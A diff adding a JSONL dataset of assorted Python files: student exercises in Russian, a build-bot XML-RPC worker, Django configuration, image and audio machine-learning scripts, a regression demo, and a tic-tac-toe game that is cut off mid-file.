diff --git "a/4158.jsonl" "b/4158.jsonl" new file mode 100644--- /dev/null +++ "b/4158.jsonl" @@ -0,0 +1,641 @@ +{"seq_id":"582189539","text":"n = list(map(int, input(\"enter the number \")))\ni,j = 0,1\nn1,n2, = 0,0\nflag = False\nwhile i < len(n):\n n1 = n[i]\n while j < len(n):\n n2 = n[j]\n if n1 == n2:\n flag = True\n print(\"YES\")\n j += 1\n i += 1\nif not flag:\n print(\"NO\")\n","sub_path":"task4g.py","file_name":"task4g.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"528023098","text":"# 1. Реализовать функцию, принимающую два числа (позиционные аргументы) и выполняющую их деление.\n# Числа запрашивать у пользователя, предусмотреть обработку ситуации деления на ноль.\n\ndef razdelit(x, y):\n \"\"\"\n\n Фунция принимает два числа , делимое и делитель.\n Возвращает результат деления.\n\n \"\"\"\n result = x / y\n return result\n\n\ny = 0\nx = int(input('Введите делимое : '))\nwhile y == 0:\n y = int(input('Введите делитель, (делитель не должен равняться 0) : '))\n\nprint(x, ' / ', y, '=', razdelit(x, y))\n\n# 2. Реализовать функцию, принимающую несколько параметров,\n# описывающих данные пользователя: имя, фамилия, год рождения, город проживания, email, телефон.\n# Функция должна принимать параметры как именованные аргументы.\n# Реализовать вывод данных о пользователе одной строкой.\n\n# Не работает, словарь создал , а вывести не могу.\ndef user_info(**kwargs):\n print(kwargs) # создаваемый словарь\n my_str = ('Имя -' + kwargs.get(my_name) +\n ' Фамилия -' + kwargs.get(my_family) +\n ' Год рождения -' + kwargs.get(my_god) +\n ' Город проживания -' + kwargs.get(my_citi) +\n ' Электронная почта -' + kwargs.get(my_email) +\n ' Номер телефона -' + kwargs.get(my_telefon))\n return my_str\n\n\nnew_str = user_info(my_name=\"Виктор\", my_family=\"Рябцев\", my_god=\"1979\",\n my_citi=\"Владивосток\", my_email=\"89089938799mail.ru\", my_telefon=\"89089938799\")\nprint(new_str)\n\n# 3. Реализовать функцию my_func()\n# которая принимает три позиционных аргумента, и возвращает сумму наибольших двух аргументов.\n\ndef add_func(x, y, z):\n \"\"\"\n\n Эта функция принимает три аргумента и возвращяет сумму двух наибольших из них\n\n \"\"\"\n list = [x, y, z] # Преобразуем полученные аргументы в список\n list.sort() # Сортируем список от мин. к макс.\n index = (len(list) - 1) # Получаем положение последнего (максимального) значения в списке\n summa_1 = list[index] + list[index - 1] # Суммируем последнее (максимальное) и предпоследнее (второе по величине)\n return summa_1\n\n\nprint(add_func(2, 4, 56))\n\n\n# 3. Эта функция обрабатывает неограниченное количество аргументов и возвращяет сумму двух наибольших из них\n\ndef add_func1(*x):\n \"\"\"\n\n Эта функция принимает неограниченное количество аргументов и возвращяет сумму двух наибольших из них\n\n \"\"\"\n my_list = list(x) # Преобразуем полученные аргументы в список\n my_list.sort() # Сортируем список от мин. к макс.\n index = (len(my_list) - 1) # Получаем положение последнего (максимального) значения в списке\n summa = my_list[index] + \\\n my_list[index - 1] # Суммируем последнее (максимальное) и предпоследнее (второе по величине)\n return summa\n\n\nprint(add_func1(2, 4, 56, 7, 5, 0, -1, 12))\n\n\n# 4. Программа принимает действительное положительное число x и целое отрицательное число y.\n# Необходимо выполнить возведение числа x в степень y.\n# Задание необходимо реализовать в виде ф��нкции my_func(x, y).\n# При решении задания необходимо обойтись без встроенной функции возведения числа в степень.\n\n# Подсказка: попробуйте решить задачу двумя способами. Первый — возведение в степень с помощью оператора **.\n# Второй — более сложная реализация без оператора **, предусматривающая использование цикла.\n\n# Первый — возведение в степень с помощью оператора **\n\ndef my_func3(x, y):\n \"\"\"\n Данная функция принимает аргуенты позиционные оргументы x и y,\n возводит x в cтепень y,\n возвращает z\n \"\"\"\n z = x ** y\n return z\n\n\nprint(my_func3(2, -2))\n\n# Второй — более сложная реализация без оператора **, предусматривающая использование цикла.\n\nn = int(input('Число которое вы хотите возвести в степень: '))\np = int(input('Степень в которую вы хотите возвести число: '))\ns = p # переменная s только для последующего отображения значения степени при печати.\n\n\ndef my_func4(n, p):\n \"\"\"\n Данная функция принимает аргуенты позиционные оргументы x и y,\n возводит x в cтепень y,\n возвращает result\n \"\"\"\n result = 1\n while (p > 0):\n result = result * n\n p = p - 1\n return result\n\n\nres = my_func4(n, p)\nprint((f'{n}, в степени {s} равно {res}'))\n\n\n# 5. Программа запрашивает у пользователя строку чисел, разделенных пробелом.\n# При нажатии Enter должна выводиться сумма чисел.\n# Пользователь может продолжить ввод чисел, разделенных пробелом и снова нажать Enter.\n# Сумма вновь введенных чисел будет добавляться к уже подсчитанной сумме.\n# Но если вместо числа вводится специальный символ, выполнение программы завершается.\n# Если специальный символ введен после нескольких чисел,\n# то вначале нужно добавить сумму этих чисел к полученной ранее сумме и после этого завершить программу.\ndef add_func(new_list):\n \"\"\"\n Эта функция принимает как аргумент список состоящий из чисел, и печатает их сумму.\n\n \"\"\"\n my_sum = sum(new_list)\n print('Сумма введеных вами чисел равна : ', str(my_sum))\n\n\ndef my_input():\n \"\"\"\n Эта функция не имеет аргументов, возвращает строку получаемую через input\n\n \"\"\"\n return input('Введите строку из нескольких чисел разделенных пробелами,'\n ' я суммирую эти числа (если введете #, работа программы прекратится: ')\n\n\nnew_list = []\nmy_str = ''\n\nwhile my_str != '#':\n my_str = my_input()\n for number in my_str.split():\n if number != '#':\n new_list.append(int(number))\n elif number == '#':\n add_func(new_list)\n quit()\n add_func(new_list)\n\n\n# 6. Реализовать функцию int_func(),\n# принимающую слово из маленьких латинских букв и возвращающую его же, но с прописной первой буквой.\n# Например, print(int_func(‘text’)) -> Text.\n\n\ndef int_func(my_str):\n \"\"\"\n Данная функция принимает в качестве аргумента строку.\n Возвращает строку изменив первую ее букву на прописную.\n\n \"\"\"\n text = ''\n text = my_str.title()\n return text\n\n\nprint(int_func('tEXT'))\n\n# Продолжить работу над заданием.\n# В программу должна попадать строка из слов, разделенных пробелом.\n# Каждое слово состоит из латинских букв в нижнем регистре.\n# Сделать вывод исходной строки, но каждое слово должно начинаться с заглавной буквы.\n# Необходимо использовать написанную ранее функцию int_func().\n\nnew_list = []\nnew_str = ''\nfor word in input('Введите строку из нескольких слов разделенных пробелами,'\n ' я заменю первые буквы прописными: ').split(): # Принимаем строку и разделяем ее на отдельные слова.\n new_list.append(word) # Формируем список слов.\n\nfor word in new_list: # Перебираем все слова в списке.\n new_str += int_func(word) + ' ' # формируем новую строку разделяя отдельные слова пробелами.\nprint('Новая строка : ', new_str) # Распечатываем новую строку.\n","sub_path":"Test_3.py","file_name":"Test_3.py","file_ext":"py","file_size_in_byte":10270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"410864083","text":"###############################################################################\n# #\n# This file is part of the \"ssbot\" Python module. #\n# It is distributed under the MIT License. See LICENSE.txt for details. #\n# #\n###############################################################################\n\n\nimport multiprocessing\nimport os\nimport os.path\nimport Queue\nimport sys\nimport threading\nimport time\n\nfrom SimpleXMLRPCServer import SimpleXMLRPCServer\nfrom SimpleXMLRPCServer import SimpleXMLRPCRequestHandler\n\nimport steps\n\n\nclass CommandListener(object):\n class RpcRequestHandler(SimpleXMLRPCRequestHandler):\n rpc_paths = ('/RPC2',)\n\n class Method(object):\n def __init__(self, step_queue, result_queue):\n self.step_queue = step_queue\n self.result_queue = result_queue\n\n def run_step(self, step_info, path):\n self.step_queue.put((step_info, path))\n result = self.result_queue.get(block=True)\n return result\n\n def mkdir(self, dir_name):\n if os.path.exists(dir_name):\n return True\n os.mkdir(dir_name)\n return True\n\n def path_exists(self, path):\n return os.path.exists(path)\n\n def write_to_file(self, content, file_name):\n abs_file_path = os.path.abspath(file_name)\n success = False\n with open(file_name, 'w') as f:\n f.write(content)\n success = True\n if success:\n return abs_file_path\n else:\n return None\n\n def __init__(self, port, step_queue, result_queue):\n self.port = port\n self.step_queue = step_queue\n self.result_queue = result_queue\n\n def __call__(self):\n server = SimpleXMLRPCServer(\n ('', self.port), requestHandler=CommandListener.RpcRequestHandler,\n allow_none=True)\n server.register_instance(\n CommandListener.Method(self.step_queue, self.result_queue))\n server.serve_forever()\n\nclass BuildSlave(object):\n def __init__(self, port):\n self.port = port\n self.step_queue = multiprocessing.Queue()\n self.result_queue = multiprocessing.Queue()\n self.command_listener_process = multiprocessing.Process(\n target=CommandListener(port, self.step_queue, self.result_queue))\n self.exit_lock = threading.Lock()\n self.exit_lock.acquire(True)\n\n def start(self):\n self.command_listener_process.start()\n while True:\n try:\n step_info, path = self.step_queue.get(block=False)\n step = steps.Step(step_info['name'],\n step_info['cmd'],\n step_info['cwd'],\n step_info['deps'],\n step_info['timeout'])\n result = step.run(path)\n self.result_queue.put(result)\n except Queue.Empty:\n time.sleep(2)\n if self.exit_lock.acquire(False):\n break\n\n def stop(self):\n self.exit_lock.release()\n self.command_listener_process.terminate()\n","sub_path":"ssbot/slave.py","file_name":"slave.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"470908229","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('people', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Account',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('username', models.CharField(max_length=10, verbose_name=b'\\xe8\\xb4\\xa6\\xe6\\x88\\xb7')),\n ('password', models.CharField(max_length=10, verbose_name=b'\\xe5\\xaf\\x86\\xe7\\xa0\\x81')),\n ('email', models.EmailField(max_length=254, verbose_name=b'\\xe9\\x82\\xae\\xe7\\xae\\xb1')),\n ('phone', models.IntegerField(max_length=11, verbose_name=b'\\xe6\\x89\\x8b\\xe6\\x9c\\xba\\xe5\\x8f\\xb7\\xe7\\xa0\\x81')),\n ],\n ),\n migrations.AlterField(\n model_name='person',\n name='age',\n field=models.IntegerField(verbose_name=b'\\xe5\\xb9\\xb4\\xe9\\xbe\\x84'),\n ),\n migrations.AlterField(\n model_name='person',\n name='name',\n field=models.CharField(max_length=30, verbose_name=b'\\xe5\\xa7\\x93\\xe5\\x90\\x8d'),\n ),\n ]\n","sub_path":"people/migrations/0002_auto_20180515_1122.py","file_name":"0002_auto_20180515_1122.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"469727475","text":"from django.conf.urls import url\nfrom . import views \n\n\napp_name = 'entertainment'\nurlpatterns = [\n url(r'^$', views.where_list, name = \"where_list\"),\n url(r'^add/$', views.add_where, name = 'add_where'),\n url(r'^untop/$', views.remove_top, name = 'remove_top'),\n url(r'^addtop/$', views.add_to_top, name = 'add_to_top'),\n #url(r'^(?P\\d+)/$', views.where_profile, name = \"where_profile\"),\n url(r'^(?P\\d+)/delete/$', views.where_delete, name = 'where_delete'),\n url(r'^(?P\\d+)/edit/$', views.edit_where, name = 'edit_where'),\n \n]\n","sub_path":"entertainment/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"281003792","text":"\n\nfrom xai.brain.wordbase.nouns._refusal import _REFUSAL\n\n#calss header\nclass _REFUSALS(_REFUSAL, ):\n\tdef __init__(self,): \n\t\t_REFUSAL.__init__(self)\n\t\tself.name = \"REFUSALS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"refusal\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_refusals.py","file_name":"_refusals.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"174224755","text":"import logging\nimport time\nfrom functools import wraps\n\nlog = logging.getLogger(__name__)\n\n\ndef init_log():\n logging.basicConfig(level=logging.DEBUG)\n log.info(\"Logging enabled\")\n logging.getLogger(\"werkzeug\").setLevel(logging.WARNING)\n\n\ndef log_time(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n duration = time.time() - start_time\n log.info(f\"Time for {func.__name__} is {duration}\")\n return result\n\n return wrapper\n","sub_path":"homework/week07_08/server/src/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"271831915","text":"from joblib import Parallel, delayed\n\nimport argparse, os\nfrom subprocess import call\nfrom collections import OrderedDict\nimport cv2\nos.environ['JOBLIB_TEMP_FOLDER'] = \"~/tmp\"\n\ndef load_args():\n ap = argparse.ArgumentParser(description='Paralelize Saliency maps process.')\n ap.add_argument('-sm', '--saliency-maps',\n dest='saliency_maps',\n help='path to dataset files.',\n type=str, required=False, default='/DL/2kporn/saliency_frames')\n ap.add_argument('-oi', '--original-images',\n dest='original_images',\n help='path to dataset files.',\n type=str, required=False, default='/DL/2kporn/frames')\n ap.add_argument('-op', '--output-path',\n dest='output_path',\n help='path to output the extracted frames.',\n type=str, required=False, default='/DL/2kporn/assembly_frames')\n ap.add_argument('-pp', '--parallel-process',\n dest='parallel_process',\n help='qtd of parallel videos processed at same time.',\n type=int, default=10)\n ap.add_argument('-s', '--split',\n dest='split',\n help='split to process',\n type=str, default='s1_a')\n args = ap.parse_args()\n print(args)\n return args\n\ndef assemblyImages(args, video):\n\n print('processing video {}'.format(video))\n output_dir = os.path.join(args.output_path, video)\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n# original_frames = os.listdir(os.path.join(args.original_images, video))\n saliency_frames = os.listdir(os.path.join(args.saliency_maps, video))\n for frame_name in saliency_frames:\n image_frame = cv2.imread(os.path.join(args.original_images, video, frame_name))\n salience_frame = cv2.imread(os.path.join(args.saliency_maps, video, frame_name), 0)\n\n# assert(image_frame.shape == salience_frame.shape)\n\n #The obvious approach\n# salience_frame = cv2.cvtColor(salience_frame, cv2.COLOR_BGR2GRAY)\n\n #putting salience on blue layer\n image_frame[:,:,0] = salience_frame\n\n cv2.imwrite(os.path.join(args.output_path, video, frame_name), image_frame.astype(int))\n\ndef get_dataset(split):\n folds_path = \"/Exp/2kporn/splits/{}/2D/1_fps/opencv/\".format(split)\n file_names = []\n sets = ['network_training_set.txt', 'network_validation_set.txt', 'test_set.txt']\n for sset in sets:\n set_file = os.path.join(folds_path, sset)\n with open(set_file) as fi:\n file_names.extend(fi.read().splitlines())\n return file_names\n\ndef video_process_finished(args, videos_len, dataset_bag, video):\n video_frames_to_process = get_video_frames(args.split, dataset_bag, video)\n video_frames_processed = os.listdir(os.path.join(args.output_path, video)) \n\n missed_frames_to_process = [f for f in video_frames_to_process if f+'.jpg' not in video_frames_processed]\n if len(missed_frames_to_process) > 0:\n return False\n else:\n return True\n\ndef get_video_frames(split, dataset_bag, video):\n\n # vPorn000002_1_0 vPorn000002_1_151.jpg\n# file_names = [os.path.join(f.split('_')[0], '{}.jpg'.format(f)) for f in dataset_bag]\n video_frames = [f for f in dataset_bag if video in f]\n return video_frames\n\ndef get_lens(args, dataset_bag, videos):\n video_len = {}\n for video in videos:\n# video_len[video] = len(os.listdir(os.path.join(args.dataset_dir, \"frames\", video)))\n video_len[video] = len(get_video_frames(args.split, dataset_bag, video))\n return video_len\n\ndef main():\n args = load_args()\n\n videos_to_process = os.listdir(args.original_images)\n videos_processed = os.listdir(os.path.join(args.output_path))\n\n dataset_bag = get_dataset(args.split)\n videos_len = get_lens(args, dataset_bag, videos_to_process)\n\n for video in videos_processed:\n if (video_process_finished(args, videos_len, dataset_bag, video)):\n del videos_len[video]\n\n ordered_videos_len = sorted(videos_len.items(), key=lambda kv: kv[1])\n sorted_videos_dict = OrderedDict(ordered_videos_len)\n\n if(args.parallel_process == 1):\n for i, (video, len_value) in enumerate(sorted_videos_dict.items()):\n assemblyImages(args, video)\n else:\n Parallel(n_jobs=args.parallel_process)(delayed(assemblyImages)(args, video) for video, len_video in sorted_videos_dict.items())\n\nif __name__ == '__main__':\n main()","sub_path":"assembly_map_and_image.py","file_name":"assembly_map_and_image.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"11401764","text":"import csv\nimport tensorflow as tf\nimport numpy as np\nimport get_test_features as read_test_audio\nimport get_training_features as read_training_audio\n\n# # # # # # # # globals\n\nmood_dict = {'aggressive': 0,'calm': 1,'happy': 2,'sad': 3}\nmood_dict_reverse = {0: 'aggressive', 1: 'calm', 2: 'happy', 3: 'sad'}\n\nbatch_size = 100\ntrain_steps = 5000\n\n# # # # # # # # init\n\ndef csv_init(csv_path):\n\tsongs = []\n\tcsv_file = open(csv_path, 'r')\n\tfieldnames = ['song', 'mood', 'max_intensity', 'min_intensity', 'mean_intensity', 'median_intensity', 'max_pitch', 'min_pitch', 'mean_pitch', 'median_pitch', 'max_timbre', 'min_timbre', 'mean_timbre', 'median_timbre', 'max_time', 'min_time', 'mean_time', 'median_time']\n\treader = csv.DictReader(csv_file, fieldnames=fieldnames)\n\treader.next()\n\t\n\tfor row in reader:\n\t\tsongs.append(row)\n\treturn songs\n\n# # # # # # # # tensorflow\n\ndef input_evaluation_set(song_specs):\n\tfeatures = {\n\t\t'max_intensity': np.array([]),\n\t\t'min_intensity': np.array([]),\n\t\t'mean_intensity': np.array([]), \n\t\t'median_intensity': np.array([]), \n\t\t'max_pitch': np.array([]), \n\t\t'min_pitch': np.array([]), \n\t\t'mean_pitch': np.array([]), \n\t\t'median_pitch': np.array([]), \n\t\t'max_timbre': np.array([]), \n\t\t'min_timbre': np.array([]), \n\t\t'mean_timbre': np.array([]), \n\t\t'median_timbre': np.array([]), \n\t\t'max_time': np.array([]), \n\t\t'min_time': np.array([]), \n\t\t'mean_time': np.array([]), \n\t\t'median_time': np.array([])\n\t}\n\tlabels = []\n\n\tunused_features = [\n\t# 'max_intensity',\n\t# 'min_intensity',\n\t# 'mean_intensity',\n\t# 'median_intensity', \n\t# 'max_pitch', \n\t# 'min_pitch', \n\t# 'mean_pitch', \n\t# 'median_pitch', \n\t# 'max_timbre', \n\t# 'min_timbre', \n\t# 'mean_timbre', \n\t# 'median_timbre', \n\t# 'max_time', \n\t# 'min_time', \n\t# 'mean_time', \n\t# 'median_time',\n\t'song',\n\t]\n\n\tfor each in song_specs:\n\t\tfor key in song_specs[0]:\n\t\t\tif key not in unused_features:\n\t\t\t\tif key == 'mood':\n\t\t\t\t\tlabels.append(int(mood_dict[each[key]]))\n\t\t\t\telse:\n\t\t\t\t\tfeatures[key] = np.append(features[key], float(each[key]))\n\n\treturn features, labels\n\ndef input_test_set(song_specs):\n\tfeatures = {\n\t\t'max_intensity': np.array([]),\n\t\t'min_intensity': np.array([]),\n\t\t'mean_intensity': np.array([]), \n\t\t'median_intensity': np.array([]), \n\t\t'max_pitch': np.array([]), \n\t\t'min_pitch': np.array([]), \n\t\t'mean_pitch': np.array([]), \n\t\t'median_pitch': np.array([]), \n\t\t'max_timbre': np.array([]), \n\t\t'min_timbre': np.array([]), \n\t\t'mean_timbre': np.array([]), \n\t\t'median_timbre': np.array([]), \n\t\t'max_time': np.array([]), \n\t\t'min_time': np.array([]), \n\t\t'mean_time': np.array([]), \n\t\t'median_time': np.array([])\n\t}\n\tlabels = []\n\n\tunused_features = [\n\t'mood',\n\t'song',\n\t]\n\n\tfor each in song_specs:\n\t\tfor key in song_specs[0]:\n\t\t\tif key not in unused_features:\n\t\t\t\tfeatures[key] = np.append(features[key], float(each[key]))\n\n\treturn features, labels\n\ndef train_input_fn(features, labels, batch_size):\n \"\"\"An input function for training\"\"\"\n # Convert the inputs to a Dataset.\n dataset = tf.data.Dataset.from_tensor_slices((dict(features), labels))\n\n # Shuffle, repeat, and batch the examples.\n return dataset.shuffle(1000).repeat().batch(batch_size)\n\ndef eval_input_fn(features, labels, batch_size):\n\tfeatures = dict(features)\n\tif labels == None:\n\t\tinputs = features\n\telse:\n\t\tinputs = (features, labels)\n\tdataset = tf.data.Dataset.from_tensor_slices(inputs)\n\tdataset = dataset.batch(batch_size)\n\treturn dataset\n\n# # # # # # # # model\n\ndef train_model(classifier):\n\t# read_training_audio.analyze('res/_train/')\n\ttraining_songs = csv_init('data/train/song_statistics.csv')\n\ttrain_features, train_labels = input_evaluation_set(training_songs)\n\n\tclassifier.train(\n\t\tinput_fn=lambda:train_input_fn(train_features, train_labels, batch_size),\n\t\tsteps=train_steps)\n\n\teval_result = classifier.evaluate(\n\t\tinput_fn=lambda:eval_input_fn(train_features, train_labels, batch_size))\n\n\tprint('\\nTraining set accuracy: {accuracy:0.3f}\\n'.format(**eval_result))\n\ndef test_model(classifier):\n\t# read_training_audio.analyze('res/_test/')\n\ttest_songs = csv_init('data/test/test_song_statistics.csv')\n\ttest_features, test_labels = input_evaluation_set(test_songs)\n\n\teval_result = classifier.evaluate(\n\t\tinput_fn=lambda:eval_input_fn(test_features, test_labels, batch_size))\n\n\tprint('\\nTest set accuracy: {accuracy:0.3f}\\n'.format(**eval_result))\n\n\ndef predict_model(classifier, file):\n\tresults = []\n\tbeats = read_test_audio.analyze(file)\n\n\ttest_songs = csv_init('data/predict/predict_song_statistics.csv')\n\ttest_features, test_labels = input_test_set(test_songs)\n\n\tpredictions = classifier.predict(\n\t\tinput_fn=lambda:eval_input_fn(test_features, labels=None, batch_size=batch_size))\n\n\tfor pred in predictions:\n\t\tclass_id = pred['class_ids'][0]\n\t\tprobability = pred['probabilities'][class_id]\n\t\tresults.append([mood_dict_reverse[class_id], 100 * probability])\n\n\treturn results, beats\n\n","sub_path":"Final_Project/app/classify_mood.py","file_name":"classify_mood.py","file_ext":"py","file_size_in_byte":4848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"528445132","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import linear_model\nfrom sklearn.metrics import mean_squared_error,r2_score\n\n\ndata=np.load(\"linRegData.npy\")\n\nX_train=data[:,0][:80].reshape(-1,1)\nY_train=data[:,1][:80].reshape(-1,1)\n\nX_test=data[:,0][80:100].reshape(-1,1)\nY_test=data[:,1][80:100].reshape(-1,1)\n\nregression = linear_model.LinearRegression()\n\nregression.fit(X_train,Y_train)\n\nprediction = regression.predict(X_test)\n\nx=data[:,0].reshape(-1,1)\nline=regression.coef_*x + regression.intercept_ \n\n\n\n# Plot outputs\nplt.figure(1)\nplt.xlabel(\"X-axis\")\nplt.ylabel(\"Y-axis\")\n\nplt.subplot('231')\nplt.scatter(data[:,0].reshape(-1,1),data[:,1].reshape(-1,1), color='black')\nplt.title(\"plot_of_data\")\n\nplt.subplot('232')\nplt.scatter(data[:,0].reshape(-1,1),data[:,1].reshape(-1,1), color='black')\nplt.plot(x,line, color='blue')\nplt.title(\"regressionline_sklearn_fullData\")\n\nplt.subplot('233')\nplt.scatter(X_test, Y_test, color='black')\nplt.plot(X_test, prediction, color='blue')\nplt.title(\"regressionline_sklearn_TestData\")\n\n\n\nplt.show()\n\n\nprint('Coefficient: \\n', regression.coef_)\nprint('Intercept: \\n', regression.intercept_)\n\nprint(\"Mean squared error: %.2f\"\n % mean_squared_error(Y_test, prediction))\n\nprint('Variance score: %.2f' % r2_score(Y_test, prediction))\n\n\n'''\nCoefficient: \n [[ 0.36046113]]\nIntercept: \n [ 0.71784123]\nMean squared error: 0.62\nVariance score: -16.53'''","sub_path":"Linear_Regression/sklearn_linear.py","file_name":"sklearn_linear.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"295639417","text":"\n# CS-UY 1114\n# Final project\n# Sicong Liu\n\nimport turtle\nimport random\n\nlength=300\nboard = [[0,0,0],[0,0,0],[0,0,0]]\n\ndef printboard(board):\n # print board on the python shell\n # read the board from the nested list\n # if it is 1 print O for user, -1 to print X for computer, 0 to print -\n for i in range(3):\n for j in range(3):\n if board[i][j]==1:\n print(\"O\",end=\"\")\n elif board[i][j]==-1:\n print(\"X\",end=\"\")\n else:\n print(\"-\",end=\"\")\n print()\n print()\n\ndef draw_board(board):\n # draw the current board\n # first, draw the blank board with 9 squares\n turtle.clear()\n turtle.color(\"black\")\n turtle.setheading(0)\n turtle.up()\n turtle.goto(-length*1.5,-length*1.5)\n turtle.left(90)\n turtle.down()\n for i in range(3):\n for j in range(3):\n for k in range(4):\n turtle.forward(length)\n turtle.right(90)\n turtle.forward(length)\n turtle.right(90)\n turtle.forward(length)\n turtle.right(90)\n turtle.forward(length*3)\n turtle.right(180)\n\n # read the board from the nested list\n # If it is 1, draw O on the corresponding squre, -1 to draw X\n\n for i in range(3):\n for j in range(3):\n x=-length+j*length\n y=length-i*length\n if board[i][j]==1:\n user_draw(x,y)\n \n elif board[i][j]==-1:\n computer_draw(x,y)\n\n turtle.update()\n\ndef user_draw(x,y):\n # draw the \"O\" on board\n # go to the midpoint of the square and then to the right edge heading up and draw circle\n turtle.up()\n turtle.goto(x,y)\n turtle.color(\"green\")\n turtle.setheading(0)\n turtle.forward(length*0.5)\n turtle.left(90)\n turtle.down()\n turtle.circle(length*0.5)\n\ndef computer_draw(x,y):\n # draw the \"X\" on board\n # go to the midpoint of the square and then draw four lines with angle of 90 degrees\n turtle.up()\n turtle.goto(x,y)\n turtle.color(\"red\")\n turtle.down()\n turtle.setheading(45)\n for k in range(4):\n turtle.forward(length*0.5*2**0.5)\n turtle.backward(length*0.5*2**0.5)\n turtle.right(90) \n \ndef do_user_move(x, y):\n # fill the corresponding squre the user clicked\n # if the click point of user is in the x,y range of a square\n # the corresponding element in the nested list will be 1\n if check_game_over(board):\n return False\n if -length*1.5<=x<=-length*0.5:\n j=0\n elif -length*0.5<=x<=length*0.5:\n j=1\n elif length*0.5<=x<=length*1.5:\n j=2\n else:\n return False\n if -length*1.5<=y<=-length*0.5:\n i=2\n elif -length*0.5<=y<=length*0.5:\n i=1\n elif length*0.5<=y<=length*1.5:\n i=0\n else:\n return False\n if board[i][j]==0:\n board[i][j]=1\n return True\n else:\n return False\n\ndef check(board):\n # check the condition of the board\n # if the board has any column,row or diagonal sum of 3, user wins\n # if the sum is -3. computer wins\n if 3 in count(board):\n return \"You win!\"\n elif -3 in count(board):\n return \"You lose!\"\n # if no one wins, check if there are still blank squares(0 in the nested list)\n # if there is no blank square, the result is a tie\n else:\n s=\"\"\n for i in board:\n if 0 in i:\n s=\"continue\"\n if s==\"\":\n s=\"It's a tie\"\n return s\n \ndef check_game_over(board):\n # check and print the result if the game is over\n # print the result on the midpoint of the board\n # return True if over else False\n s = check(board)\n if s in [\"You win!\",\"You lose!\",\"It's a tie\"]:\n print(s)\n turtle.color(\"black\")\n turtle.up()\n turtle.goto(0,0)\n turtle.down()\n turtle.write(s,move=False,align=\"center\",font=(\"Arial\", 20, \"normal\"))\n reset(board)\n draw_board(board)\n return True\n else:\n return False\n\ndef count(board):\n # count the sum of each row, each column and the diagonal direction\n # set a new list to save all 8 of the sums\n lst=[]\n for i in range(3):\n total=board[i][0]+board[i][1]+board[i][2]\n lst.append(total)\n total=board[0][i]+board[1][i]+board[2][i]\n lst.append(total)\n lst.append(board[0][0]+board[1][1]+board[2][2])\n lst.append(board[2][0]+board[1][1]+board[0][2])\n return lst\n\ndef move(board):\n # determine if there is a line with two user's move\n # return which row, column or diagonal has two same pieces that needs the computer to fill the rest square\n lst = count(board)\n if -2 in lst:\n position = lst.index(-2)\n elif 2 in lst:\n position = lst.index(2)\n else:\n position = -1\n return position\n \ndef findlocation(board,position):\n # get the locaiton for computer's move if it is possible for the next step to win or lose\n # return the element of the nested list from the element of the list for columns and rows\n if position%2==0 and position<=5:\n location=[position//2,board[position//2].index(0)]\n elif position%2==1 and position<=5:\n reverse(board)\n location=[board\n [position//2].index(0),position//2]\n reverse(board)\n elif position==6:\n lst=[board[0][0],board[1][1],board[2][2]]\n location=[lst.index(0),lst.index(0)]\n # return the element of the nested list for diagonal\n else:\n lst=[board[2][0],board[1][1],board[0][2]]\n pos=lst.index(0)\n if pos==0:\n location=[2,0]\n elif pos==1:\n location=[1,1]\n else:\n location=[0,2]\n return location\n\ndef reverse(board):\n # swape the rows and columns of the board\n # this is for the findlocation(board,position) function\n temp=board[0][1]\n board[0][1]=board[1][0]\n board[1][0]=temp\n temp=board[0][2]\n board[0][2]=board[2][0]\n board[2][0]=temp\n temp=board[2][1]\n board[2][1]=board[1][2]\n board[1][2]=temp\n\ndef available(board):\n # check the availability of the squares\n # append all the position of 0 in the nested list to a new list\n lst=[]\n for i in range(3):\n for j in range(3):\n if board[i][j]==0:\n lst.append([i,j])\n return lst\n\ndef do_computer_move(board):\n # computer move\n # randomly choose a position from the list to fill in the square\n if move(board)==-1:\n lst=available(board)\n pos=random.randint(0,len(lst)-1)\n x=lst[pos][0]\n y=lst[pos][1]\n board[x][y]=-1\n # fill in the square where can win or prevent the user from winning\n else:\n location=findlocation(board,move(board))\n x=location[0]\n y=location[1]\n board[x][y]=-1\n\ndef reset(board):\n # reset the board to [[0,0,0],[0,0,0],[0,0,0]]\n for i in range(3):\n for j in range(3):\n board[i][j]=0\n\ndef clickhandler(x, y):\n # process of the game\n # after the user move, draw the board again\n # if game is not over, let the computer move and draw the board agian\n if do_user_move(x,y):\n draw_board(board)\n print(\"User's move:\",end=\"\\n\\n\")\n printboard(board)\n if not check_game_over(board):\n do_computer_move(board)\n draw_board(board)\n print(\"\\nComputer's move:\",end=\"\\n\\n\")\n printboard(board)\n check_game_over(board)\n\ndef 